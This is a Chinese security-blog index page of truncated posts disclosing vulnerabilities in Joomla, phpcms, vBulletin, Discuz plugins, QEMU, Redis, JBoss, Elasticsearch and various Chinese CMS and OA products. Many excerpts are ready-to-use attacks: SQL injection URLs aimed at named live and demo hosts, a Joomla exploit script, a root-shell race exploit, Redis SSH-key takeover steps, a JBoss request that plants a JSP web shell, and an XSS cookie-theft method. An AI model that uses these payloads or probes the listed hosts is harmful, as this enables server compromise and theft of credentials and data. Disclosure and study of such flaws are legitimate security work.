/* == virtfshell == * * Some distributions make virtfs-proxy-helper from QEMU either SUID or * give it CAP_CHOWN fs capabilities. This is a terrible idea. While * virtfs-proxy-helper makes some sort of flimsy check to make sure * its socket path doesn't already exist, it is vulnerable to TOCTOU. * * This should spawn a root shell eventually on vulnerable systems. * * - zx2c4 * 2015-12-12 * * * zx2c4@thinkpad ~ $ lsb_release -i * Distributor ID: Gentoo * zx2c4@thinkpad ~ $ ./virtfshell * == Virtfshell - by zx2c4 == * [+] Trying to win race, attempt 749 * [+] Chown'd /etc/shad ...继续阅读 (25)

form:暗月joomla反序列化漏洞EXP（各种小程序）第一个是原版：''' Simple PoC for Joomla Object Injection. Gary @ Sec-1 ltd http://www.sec-1.com/ ''' import requests # easy_install requests def get_url(url, user_agent): headers = { 'User-Agent': user_agent } cookies = requests.get(url,headers=headers).cookies for _ in range(3): response = requests.get(url, headers=headers,cookies=cookies) return response def php_str_noquotes(data): "Convert string to chr(xx).chr(xx) for use in php" encoded = "" for char in data: encoded += "chr({0}).".format(ord ...继续阅读 (58)

再次拿到了万众电子期刊在线阅读系统。搭建测试，修复了前台的SQL注入以及XSS跨站。有留言的地方增加了验证码.后台查看上传的过程admin\includes\upload.inc.php<?php header('content-Type:text/html;charset=UTF-8'); require '../../includes/other.fun.php'; require '../../includes/file.fun.php'; $input=$_GET['input']; $form=$_GET['form']; $dir=$_GET['dir'];//目录 $text=$_GET['text']; $type=$_GET['type']; ?>然后继续往下看，拿这些东西干嘛if($_GET['action']=='upfile'){ $input=$_GET['input']; $form=$_GET['form']; $dir=$_GET['dir']; $text=$_GET['text']; $type=$_GET['type']; if(!_isfolder('../../upload/'.$dir)){ _folder('../../upload/'.$dir);//无法创建文件夹 } i ...继续阅读 (19)

最近在搞微信公众平台.某朋友推荐了PIGCMS.初始的时候感觉确实挺好。本着屌丝渣渣审计的基础。尝试审计,基础的注入两枚.1.\PigCms\Lib\Action\User\ImgBaseAction.class.phppublic function index(){ $db=D('Img'); $token = session('token'); if(IS_POST && $_POST['search'] != ''){ //没有经过任何处理 $search = trim($this->_post('search')); $where = "token = '$token' AND title like '%$search%'";//直接查询 }else{ $where['token']=$token; } $count=$db->where($where)->count(); $page=new Page($count,20); $info=$db->where($where)->order('usort DESC')->limit($page->firstRow.','.$page->listRows)->select(); $this->ass ...继续阅读 (267)

0x00 背景这几天在zone看到了有人提及了有关于common-collections包的RCE漏洞，并且http://zone.wooyun.org/content/23849给出了具体的原理。作为一个业余的安全研究人员，除了会利用之外，还可以探究一下背后的原理。0x01 原理Java反序列化导致的漏洞原理上和PHP反序列一样，也是由于用户的输入可以控制我们传入的对象。如果服务端程序没有对用户可控的序列化代码进行校验而是直接进行反序列化使用，并且程序中运行一些比较危险的逻辑（如eval，登录验证等），就会触发一些意想不到的漏洞。实际上，这并不是什么新的问题了，有关于Java中的反序列化导致的漏洞可以看https://speakerdeck.com/player/2630612322be4a2696a31775f2ed005d的slide了解一下。而这次，主要探讨一下在特殊环境下，反序列化能否达到远程代码执行（RCE）。参考文章3中给出了exp，并且在zone上有了很多的讨论，配合github上的jar文件生成一个序列化字符串，然后发送给漏洞站点就能触发。关于利用，并不是本文的重点。问题从common-collections工具的各个transformer说起，这些transform主要用于对Map的键值进行转化。其中，国外研究人员发现类InvokerTransformer中的t ...继续阅读 (69)

服务器配置不当包括三个部分:1.Redis服务使用ROOT账号启动2.Redis服务无密码认证或者使用的是弱口令进行认证3.服务器开放了SSH服务，而且允许使用密钥登录简单的写下过程测试环境victim server CentOS6.6 192.168.1.11attack server CentOS6.6+redis2.4 192.168.1.12$ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host.表明了Redis是正常工作的，而且不需要进行身份认证。先在attack server生成一个公钥$ ssh-keygen -t rsa -C "crack@redis.io" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (e ...继续阅读 (43)

0x01 注入分析http://0kee.360.cn/skywolf_demo/根据视频我得知注入来自于phpcms/modules/message/classes/message_tag.class.php中check_new函数public function check_new(){ $where = array('send_to_id'=>$this->_username,'folder'=>'inbox','status'=>'1'); $new_count = $this->message_db->count($where); //检查是否有未查看的新系统短信 //检查该会员所在会员组 的系统公告,再查询message_data表. 是否有记录. 无则加入 未读NUM. $group_num = 0; $group_where = array('typeid'=>'1','groupid'=>$this->_groupid,'status'=>'1'); $group_arr = $this->message_group_db->select($group_where); foreach ($group_arr as $groupid=>$group){ $g ...继续阅读 (45)

官方公告：http://www.vbulletin.org/forum/showthread.php?p=2558144POC 原文地址：http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq有个叫 Coldzer0 的家伙在 http://0day.today 上卖 vBulletin 的 RCE exp，vBulletin 的主论坛已经被攻破，据称该漏洞已经存在3年以上。下面是漏洞分析：vBulletin 在/core/vb/api提供了一些 ajax 的 API 调用，其中有个hook.php用到了反序列化：public function decodeArguments($arguments) { if ($args = @unserialize($arguments)) { $result = ''; foreach ($args AS $varname => $value) { $result .= $varname;值得注意的是在[之前的 vBulletin 漏洞](http://drops.wooyun.org/papers/8261)中也出现过反序列化造成的问题。看起来这次 unserialize() 不会有什么漏洞了，但是在/ ...继续阅读 (157)

阿里巴巴应急响应中心文章出处博文作者：阿里巴巴安全攻防对抗团队—千霄发布日期：2015-10-23博文内容：一、漏洞分析漏洞触发的代码位于：/administrator/components/com_contenthistory/models/history.php, getListQuery()函数内：通过SQL及报错信息，可以知道我们的注入payload被插入到了红色框部分内。跟进getState()函数，位于ibraries/legacy/model/legacy.php文件内,代码如下：从函数参数和官方注释，可以知道，getState()函数功能是获取一个model的属性及属性对应的值，getState()函数在model的属性未设置时，会执行$this->populateState()来对model的一些属性进行赋值操作。我们跟进populateState()函数看下做了什么操作，代码位于：/administrator/components/com_contenthistory/models/history.php 内：该函数从用户输入中取出item_id,type_id,type_alias,等几个变量，对当前model的属性进行赋值，可控变量均强制为integer类型，无法利用。顺着最后一行代码：parent::populateState(‘h.sa ...继续阅读 (9)

作者:0x0d 看到一个通杀 Joolma 3.2 到 3.4.4 版本的注入漏洞，可获得管理员权限，详细分析见此Joomla SQL Injection Vulnerability Exploit Results in Full Administrative Access。注入点存在于 /administrator/components/com_contenthistory/models/history.php。原因是 populateState 函数没有对 list.select 进行过滤。POC 如下：GET index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session where userid=30 LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) 其中 item_id 是文章的编号，type_id 是该 ...继续阅读 (35)

/Plugins/swfFileUpload/UploadHandler.ashx有一个全局过滤asp_code.dllclass ZoomlaSecurityCenterpublic static void CheckUpladFiles() { HttpRequest request = HttpContext.Current.Request; HttpResponse response = HttpContext.Current.Response; if (HttpContext.Current.Request.ContentType.IndexOf("multipart/form-data") > -1) { HttpFileCollection files = request.Files; for (int i = 0; i < files.Count; i++) { HttpPostedFile httpPostedFile = files[i]; string fileName = httpPostedFile.FileName; if (httpPostedFile.ContentLength > 0) { if (fileName.IndexO ...继续阅读 (39)

文件位置：/E-mobile/flowdo_page.php注入点:http://eoffice8.weaver.cn:8028/E-mobile/flowdo_page.php?diff=delete&RUN_ID=1 //参数RUN_IDhttp://eoffice8.weaver.cn:8028/E-mobile/flowdo_page.php?diff=delete&flowid=1 //参数flowid文件位置:/E-mobile/flowsorce_page.php注入点:http://eoffice8.weaver.cn:8028/E-mobile/flowsorce_page.php?flowid=2文件位置：/E-mobile/flownext_page.php注入点:http://eoffice8.weaver.cn:8028/E-mobile/flownext_page.php?diff=candeal&detailid=2,3 //参数detailid文件位置:/E-mobile/flowimage_page.php注入点:http://eoffice8.weaver.cn:8028/E-mobile/flowimage_page.php?FLOW_ID=2文件位置:/E-mobile/flowform_page.php注 ...继续阅读 (30)

漏洞作者：1c3z详细说明：测试版本wemall 3.3下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号//Application\Lib\Action\Admin\WechatAction.class.php <?php class WechatAction extends Action { public function init() { import ( 'wechat', APP_PATH . 'Common', '.class.php' ); $config = M ( "Wxconfig" )->where ( array ( "id" => "1" ) )->find (); $options = array ( 'token' => $config ["token"], // 填写你设定的key 'encodingaeskey' => $config ["encodingaeskey"], // 填写加密用的EncodingAESKey 'appid' => $config ["appid"], // 填写高级调用功能的app ...继续阅读 (47)

漏洞作者：menmen519详细说明：看了wooyun个大牛发的这个产品的漏洞，感觉版本都过低，这里我发一个8.5的版本，里面新增了webservice的相关操作 下来看代码经过一阵子的翻阅，发现和webservice 并行的目录也存在越权行为，代码结构类似：第一个目录webservice-json/login/login.wsdl.php:function UserLogin( $UserName, $Password ) { $loginStatus = array( ); if ( trim( $UserName ) == "" ) { $loginStatus['status'] = "false"; $loginStatus['infor'] = "用户名为空"; return $loginStatus; } $user = new user( ); if ( $user->CheckUserAccount( $UserName ) == false ) { $loginStatus['status'] = "false"; $loginStatus['infor'] = "用户名不存在"; ...继续阅读 (26)

漏洞作者：香草详细说明：WooYun: cmstop媒体云SQL注入漏洞同样的cmstop 媒体云的注入注册账号后，在选择链接分类的时候，会发生如下链接http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc&category=2但是其中的sort参数过滤不严格，导致了一个order by后面的mysql注入利用mysql的报错特性进行注入，当1=1会正在，1=2就会异常了，其实mysql会抛出一个Subquery returns more than 1 row的异常，利用这个特性，我们可以进行注入：构造如下链接，http://site.cmstop.cn/link/index/list?type=1&offset=0&limit=50&_=1440172313381&sort=desc,if(substring(database(),1,1)='1',1,(select%201%20from%20information_schema.TABLES))&category=2可爆出数据库为：cloud_data进而获取其他数据，就不深入了媒体云上的系统都会受影响漏洞证明：访问h ...继续阅读 (39)

漏洞作者：phith0n详细说明：之前多个漏洞，其实都是利用了Referer，如最新这个：http://wooyun.org/bugs/wooyun-2015-098434其实我们可以不利用Referer，能更简单获取pc_hash，并进行CSRF攻击。法一先管理员登录后台，来到随意一个功能页面，右键查看框架的源代码，其中有这么一段javascript：window.focus(); var pc_hash = 'loP6gO'; window.onload = function(){ var html_a = document.getElementsByTagName('a'); var num = html_a.length; for(var i=0;i<num;i++) { var href = html_a[i].href; if(href && href.indexOf('javascript:') == -1) { if(href.indexOf('?') != -1) { html_a[i].href = href+'&pc_hash='+pc_hash; } else { html_a[i].href = href+'?pc_hash='+pc_h ...继续阅读 (45)

漏洞作者：路人甲详细说明：默认密码其实是根本不用输入密码，账号密码自动保存，点确认就登入了、导致 源码泄露 可调试 源码这套 系统很多套用友系统都带着，具体请看WooYun: 用友多个系统通用漏洞导致接口信息泄露引发多数据库信息泄露（涉及多个大型厂商）然后从这个得来的灵感http://gpms.foton.com.cn/uapws/http://erp.suning.com.cn/uapws/http://fm2.cscec.com/uapws/http://bap.ufida.com/uapws/http://61.178.99.236:9002/uapws/http://zc.hayao.com:8080/uapws/http://221.1.83.115:9001/uapws/ ...继续阅读 (50)

漏洞作者：路人甲详细说明：朋友的公司购买了kingcms的授权，最近kingcms官方给我朋友发来了升级包，升级说明当中说已经解决了已知的安全问题，今天再帮朋友测试下。自从朋友购买，已经经过了9.00.0015，9.00.0016，9.00.0017，现在更新到了9.00.0018，在线升级的话可以升级到9.00.0019了，kingcms服务还不错。9.00.0018的更新时间是2015.07.23，9.00.0019的更新应该是最近几天的事情。见官网http://www.kingcms.com/download/k9/版本信息另：由于kingcms使用的是云后台，安装过程与一般的cms有点不同，复现时安装请参考官方：http://www.focuznet.com/k9/t3012/ （特别是安装的后面部分操作）既然是绕过补丁，那还是先来回顾一下以前的版本是如何过滤的，主要包括9.00.0014及以前，9.00.0015版，9.00.0016-9.00.0018版。我们来具体研究学习一下：9.00.0014版及以前各版本：直接获得用户提交的参数，没有过滤，直接带入了SQL执行。9.00.0015版：由于我已前提交的漏洞已经公开，在9.00.0015版中添加了过滤，打了补丁，这里只把过滤方法拿出来，方便后面对比。之前的绕过防注可以看这里http://wooyun.org/bugs/ ...继续阅读 (25)

漏洞作者：xfkxfk详细说明：TodayMail，时代企业邮,简介如下：http://www.now.cn/email/overview.net搜索关键字：时代企业邮案例很多，就不截图了文件searchAddr.inc.php<? header('Content-Type:text/xml;charset=UTF-8'); include_once "../config/dbremote.inc.php"; include_once "../../core/emailcore.class.inc.php"; $value=trim($_REQUEST['value']); $tm_id=trim($_REQUEST['ftm_id']); $EmailCore = new EmailCore($tm_id); $addrList=$EmailCore->searchAddrAllByKeyword($value); $str="<?xml version=\"1.0\" encoding=\"UTF-8\"?><properties><property>"; $str.="<num>".count($addrList)."</num>"; for($i=0;$i<count($a ...继续阅读 (153)

作者：phithon导致漏洞的是这个插件：http://www.emlog.net/plugin/14。其id为14，也是emlog存在较早的插件了，作者是emlog大版主KLLER。说说漏洞成因。这个插件是自动备份用的。它在前端放一个ajax控件，在每次用户访问时请求一次插件，插件检查一下上次备份的文件时间，如果相隔时间超过一定值，那么就再次进行备份。通过这个方法来达到“自动备份”的效果。看代码，kl_auto_backup_and_mail_do.php，这就是ajax请求的文件，是不限制权限的。$is_reproduct = false; echo KL_AUTO_BACKUP_AND_MAIL_THE_TIME."\n"; if(KL_AUTO_BACKUP_AND_MAIL_LAST_BACKUP_FILE != '' && file_exists(KL_AUTO_BACKUP_AND_MAIL_LAST_BACKUP_FILE)) { $delay_time = time() - filemtime(KL_AUTO_BACKUP_AND_MAIL_LAST_BACKUP_FILE); if($delay_time > intval(KL_AUTO_BACKUP_AND_MAIL_THE_TIME)) $is_reproduct = true; ...继续阅读 (26)

#插件信息：http://addon.discuz.com/?@dc_mall.plugin官方安装量3000+ （已经不少了吧）#测试环境：PHP 版本为: 5.2.9-2magic_quotes_gpc = offdc_mall.inc.php(漏洞文件)<?php if(!defined('IN_DISCUZ')) { exit('Access Denied'); } $_lang = lang('plugin/dc_mall'); $action = $_GET['action'] ? $_GET['action'] : 'index'; $version ='Ver 1.1.1'; $cvar = $_G['cache']['plugin']['dc_mall']; $file = DISCUZ_ROOT.'./source/plugin/dc_mall/module/index/'.$action.'.inc.php';//action参数未过滤直接传入$file 后面的用%00截断即可包含任意文件 if (!file_exists($file)||!$cvar['open']) showmessage('undefined_action'); $usercredit = getuserprofile('extcredits'.$cvar ...继续阅读 (146)

下载地址:http://down.qibosoft.com/down.php?v=fenlei1.0首先来看一下inc/common.inc.php中isset($page) && $page = intval($page); isset($id) && $id = intval($id); isset($fup) && $aid = intval($fup); isset($aid) && $aid = intval($aid); isset($rid) && $rid = intval($rid); isset($fid) && $fid = intval($fid); isset($cid) && $cid = intval($cid); isset($cityid) && $cityid = intval($cityid);可以看到city_id在全局文件中被intval了。再看到search.php中$postdb[city_id] && $city_id = $postdb[city_id];//对city_id 重新定义了一次。 导致了无视全局文件中的intval了。 $postdb[street_id] &a ...继续阅读 (26)

# elasticpwn Script for ElasticSearch url path traversal vuln. CVE-2015-5531[crg@fogheaven elasticpwn]$ python CVE-2015-5531.py exploitlab.int /etc/hosts!dSR script for CVE-2015-5531127.0.0.1 localhost# The following lines are desirable for IPv6 capable hosts::1 ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allroutersff02::3 ip6-allhostsThe script requires path.repo to be set into elasticsearch.yml and be writeable by elasticsearch process.In order to bypass the snapshot- prefix setted in the server side, we need to create a known relative ...继续阅读 (37)

最新几个版本正方教务系统的SQL注入漏洞，无需任何条件！真正的教务杀手，获取教师、部门用户密码，查看妹子信息不是梦!正方教务系统提供了一系列的WebService接口，然而这些接口并未经过严格的认证，从而导致任何浏览者都可以使用这些接口查询信息。由于其对用户提交的参数未进行过滤，从而导致注入的发生！搜索发现正方教务系统的asmx文件大致有这么些：【1】文件管理接口首先查看file.asmx：checkFile（检查文件是否存在）只要求提供一个文件路径便可以工作。尝试使用soap协议去请求：UpFile2Dir（上传文件到指定目录），本以为这个接口有些利用价值，然而看完代码后却发现根本无法利用。代码如下：其中的 checkFilePath函数是来检查filepath是否法的，当然这个filepath并不是指文件路径，它是写在配置文件中的一系列字串。然而通过对众多正方教务系统的测试发现，基本上都没有配置这个字串。所以无论你的filePath是什么，当调用UpFile2Dir时均会报“未设置可信地址”这个错误。从日志的记录中也印证了这一点：【2】各类查询接口正方教务系统同样提供了各类查询接口，我仅仅研究了service.asmx和service1.asmx中的数个接口便发现了众多的注入。需要注意的是这些接口中需要提供strPass，和strKey这两个参数（有的只用提供strKey有的需 ...继续阅读 (373)

朋友分享了下源码，发现shopnum1的ShopNum1HttpModule是处理Http请求的类上图就是一个注入点，构造链接是/VideoSearchList.aspx?VideoCategoryID=之后我批量查下使用ShopNum1HttpModule的文件，发现好多问题：http://nrqiang.shopnum1.com/VideoSearchList.aspx?VideoCategoryID=1%20and%20db_name()%3E0–http://nrqiang.shopnum1.com/VideoDetail.aspx?Guid=111%27%20and%20db_name()%3E0–http://nrqiang.shopnum1.com/ProductListCategory.aspx?ProductCategoryID=1%20and%20db_name()%3E0–http://nrqiang.shopnum1.com/ArticleDetail.aspx?guid=1%27%20and%20db_name()%3E0%20–http://nrqiang.shopnum1.com/ArticleDetailNew.aspx?guid=1%27%20and%20db_name()%3E0–htt ...继续阅读 (20)

74CMS最新版在处理转码现在使用的utf8_to_gbk()函数，看过74CMS的都知道之前用的iconv函数被雨牛报过漏洞，现在里面使用了stripslashes函数：//编码转换 function utf8_to_gbk($utfstr) { $utfstr=stripslashes($utfstr);//使用stripslashes函数可以干掉GPC的转义 if(is_numeric($utfstr)){ return $utfstr; } global $UC2GBTABLE; $okstr = ''; if(empty($UC2GBTABLE)) { define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR); $filename = CODETABLEDIR.'gb-unicode.table'; $fp = fopen($filename, 'rb'); while($l = fgets($fp,15)) { $UC2GBTABLE[hexdec(su ...继续阅读 (31)

注入一访问http://test.oawin.net:5656/client/treelist.aspx?user=’ and (select db_name())>0–&pwd=1注入二访问http://test.oawin.net:5656/client/messageurl.aspx?user=’ and (select db_name())>0–&pwd=1注入三访问http://test.oawin.net:5656/client/GetUser.aspx?user=’ and @@version>0–注入四访问http://test.oawin.net:5656/client/CloseMsg.aspx?user=’ and @@version>0–&pwd=a ...继续阅读 (18)

Discuz!论坛有很大一部分的用户用了友情链接自助申请。问题就在这里。提交都是没有过滤的提交界面都这幅模样,添加xss代码。提交，坐等管理员审核。（自己模拟管理员点了一下）cookie就来了，一下子来三段……cookie，浏览器保存的明文密码。虽然我模拟的是有点小特殊的环境，但是不代表所有的管理员都不会不在浏览器上保存明文密码。这明文密码要是获取了……就可以进行拿shell了，分分钟的事了.以下插件就是此次的问题插件了。下载次数加起来已经过万了。支持版本在x2 – x3.2都有http://addon.discuz.com/?@heyong_flink.pluginhttp://addon.discuz.com/?@wikin_links.pluginhttp://addon.discuz.com/?@applylink.pluginhttp://addon.discuz.com/?mod=app&ac=item&id=nimba_linkhelper.plugin ...继续阅读 (22)

主要是JBOSS造成的问题jboss未授权访问导致getshellhttp://url/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True以上访问会生成一个 ...继续阅读 (29)

user/user_download_resume.php 331-356行elseif ($act=="download_save") { $ruser=get_user_info($resumeshow['uid']); $pms_notice=intval($_GET['pms_notice']); if($_SESSION['utype']==1){ if ($_CFG['operation_mode']=="2") { if ($resumeshow['talent']=='2') { if ($setmeal['download_resume_senior']>0 && add_down_resume($id,$_SESSION['uid'],$resumeshow['uid'],$resumeshow['resume_name'])) { action_user_setmeal($_SESSION['uid'],"download_resume_senior"); $setmeal=get_user_setmeal($_SESSION['uid']); write_memberslog($_SESSION['uid'],1,9002,$_SESSION[' ...继续阅读 (30)